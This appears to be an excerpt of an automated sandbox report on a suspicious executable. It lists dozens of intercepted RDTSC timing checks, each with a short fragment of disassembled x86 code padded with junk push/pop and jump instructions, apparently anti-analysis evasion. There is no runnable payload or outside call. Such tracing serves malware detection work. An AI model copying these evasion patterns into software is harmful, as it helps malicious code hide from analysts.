Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 104676F second address: 1046793 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F84ECDED156h 0x00000008 jns 00007F84ECDED156h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F84ECDED15Fh 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1046793 second address: 10467B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F84ECC38FA9h 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1046928 second address: 104694B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F84ECDED15Ch 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 js 00007F84ECDED158h 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 104694B second address: 1046960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECC38FA1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1046960 second address: 1046991 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F84ECDED156h 0x00000008 jmp 00007F84ECDED168h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F84ECDED15Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 104834D second address: 1048355 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1048355 second address: 1048360 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 105D544 second address: 105D54E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F84ECC38F96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 105D54E second address: 105D554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 105D68F second address: 105D693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 105D693 second address: 105D69B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 105F095 second address: 105F0AD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F84ECC38F96h 0x00000008 je 00007F84ECC38F96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F84ECC38F96h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 105F0AD second address: 105F0B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 105F0B1 second address: 105F106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F84ECC38F9Eh 0x0000000d jmp 00007F84ECC38FA8h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F84ECC38FA0h 0x0000001d ja 00007F84ECC38F96h 0x00000023 jmp 00007F84ECC38F9Ah 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1063497 second address: 106349B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 106349B second address: 10634A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 10651F3 second address: 10651F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 10651F7 second address: 1065205 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F84ECC38FA2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1065205 second address: 106520B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F332C6 second address: F332CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F332CC second address: F332E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED15Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F84ECDED156h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F332E9 second address: F332ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F332ED second address: F332F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F332F1 second address: F3330A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F84ECC38FA3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1066DEB second address: 1066E12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED15Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F84ECDED164h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7BF28 second address: F7BF40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7C119 second address: F7C11F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7C11F second address: F7C123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5000411 second address: 500043B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED166h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F84ECDED15Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 500043B second address: 500043F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 500043F second address: 5000445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5000445 second address: 5000456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECC38F9Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5000456 second address: 500049A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e jmp 00007F84ECDED15Eh 0x00000013 mov ecx, dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F84ECDED167h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 500049A second address: 50004A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5000508 second address: 5000518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECDED15Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50206CE second address: 5020743 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 jmp 00007F84ECC38FA3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F84ECC38FA4h 0x00000016 adc eax, 34C4E358h 0x0000001c jmp 00007F84ECC38F9Bh 0x00000021 popfd 0x00000022 popad 0x00000023 push ebx 0x00000024 jmp 00007F84ECC38FA2h 0x00000029 mov dword ptr [esp], ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F84ECC38FA7h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5020743 second address: 502075B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECDED164h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 502075B second address: 502079F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F84ECC38F9Ch 0x0000000e mov dword ptr [esp], esi 0x00000011 jmp 00007F84ECC38FA0h 0x00000016 lea eax, dword ptr [ebp-04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F84ECC38FA7h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 502079F second address: 50207B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop esi 0x00000010 mov edx, 2201BFAAh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 502083D second address: 5020843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5020906 second address: 502093C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 jmp 00007F84ECDED15Ch 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov esi, edi 0x00000015 jmp 00007F84ECDED169h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 502093C second address: 502096F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F84ECC38FA7h 0x00000008 mov esi, 2F34AF1Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F84ECC38F9Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 502096F second address: 5020975 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5020975 second address: 50209B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F84ECC38F9Ch 0x00000008 pushfd 0x00000009 jmp 00007F84ECC38FA2h 0x0000000e xor al, FFFFFFE8h 0x00000011 jmp 00007F84ECC38F9Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a leave 0x0000001b pushad 0x0000001c mov bx, ax 0x0000001f push eax 0x00000020 push edx 0x00000021 mov edx, ecx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50209B2 second address: 5010031 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 8CA9h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 xor ebx, ebx 0x00000012 cmp eax, 00000000h 0x00000015 je 00007F84ECDED2BAh 0x0000001b mov dword ptr [esp], 0000000Dh 0x00000022 call 00007F84F10592F1h 0x00000027 mov edi, edi 0x00000029 jmp 00007F84ECDED160h 0x0000002e xchg eax, ebp 0x0000002f pushad 0x00000030 jmp 00007F84ECDED15Eh 0x00000035 mov eax, 65500B81h 0x0000003a popad 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f mov ebx, 5011D1FEh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010031 second address: 501008D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F84ECC38F9Fh 0x00000008 jmp 00007F84ECC38FA3h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov edi, ecx 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007F84ECC38FA2h 0x00000019 mov ebp, esp 0x0000001b jmp 00007F84ECC38FA0h 0x00000020 sub esp, 2Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov cx, di 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501008D second address: 501011C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED164h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov bh, ch 0x0000000d jmp 00007F84ECDED163h 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 movsx ebx, si 0x00000018 push esi 0x00000019 pushfd 0x0000001a jmp 00007F84ECDED167h 0x0000001f and ecx, 31015CDEh 0x00000025 jmp 00007F84ECDED169h 0x0000002a popfd 0x0000002b pop esi 0x0000002c popad 0x0000002d xchg eax, ebx 0x0000002e jmp 00007F84ECDED167h 0x00000033 xchg eax, edi 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 mov bx, si 0x0000003a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501011C second address: 5010154 instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushfd 0x0000000a jmp 00007F84ECC38FA8h 0x0000000f jmp 00007F84ECC38FA5h 0x00000014 popfd 0x00000015 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010154 second address: 501017A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED160h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F84ECDED15Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501017A second address: 50101B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F84ECC38F9Dh 0x0000000b or ax, 31E6h 0x00000010 jmp 00007F84ECC38FA1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, edi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F84ECC38F9Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50101B7 second address: 50101BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50101BD second address: 50101C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50101E3 second address: 50101E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50101E7 second address: 50101ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50101ED second address: 501021C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 6FD93C39h 0x00000008 movzx ecx, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebx, 00000000h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F84ECDED168h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501021C second address: 5010222 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010222 second address: 501024A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F84ECDED15Ch 0x00000009 jmp 00007F84ECDED165h 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501024A second address: 5010256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 sub edi, edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010256 second address: 501029D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ch, 91h 0x0000000b popad 0x0000000c inc ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov si, EC8Bh 0x00000014 pushfd 0x00000015 jmp 00007F84ECDED160h 0x0000001a and cx, D498h 0x0000001f jmp 00007F84ECDED15Bh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501029D second address: 50102A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50102A3 second address: 50102A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50102A7 second address: 50102EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a pushad 0x0000000b mov eax, edx 0x0000000d mov al, bl 0x0000000f popad 0x00000010 je 00007F84ECC391E0h 0x00000016 pushad 0x00000017 mov dx, ax 0x0000001a popad 0x0000001b lea ecx, dword ptr [ebp-14h] 0x0000001e jmp 00007F84ECC38F9Fh 0x00000023 mov dword ptr [ebp-14h], edi 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F84ECC38FA0h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50102EB second address: 50102F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50102F1 second address: 50102F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010408 second address: 5010420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECDED164h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010420 second address: 5010430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010430 second address: 5010434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010434 second address: 501043A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501043A second address: 5010440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010440 second address: 5010475 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F855D686FCFh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F84ECC38FA8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010475 second address: 501047B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501047B second address: 501048C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECC38F9Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501048C second address: 50104CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F84ECDED1B4h 0x00000011 pushad 0x00000012 mov dh, cl 0x00000014 jmp 00007F84ECDED169h 0x00000019 popad 0x0000001a cmp dword ptr [ebp-14h], edi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50104CF second address: 50104D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50104D5 second address: 50104DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50104DB second address: 50104DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50104DF second address: 5010536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED15Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F855D83B100h 0x00000011 jmp 00007F84ECDED160h 0x00000016 mov ebx, dword ptr [ebp+08h] 0x00000019 jmp 00007F84ECDED160h 0x0000001e lea eax, dword ptr [ebp-2Ch] 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F84ECDED167h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010536 second address: 5010558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, C76Ah 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F84ECC38F9Ch 0x00000012 mov dword ptr [esp], esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010558 second address: 501055C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501055C second address: 5010562 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
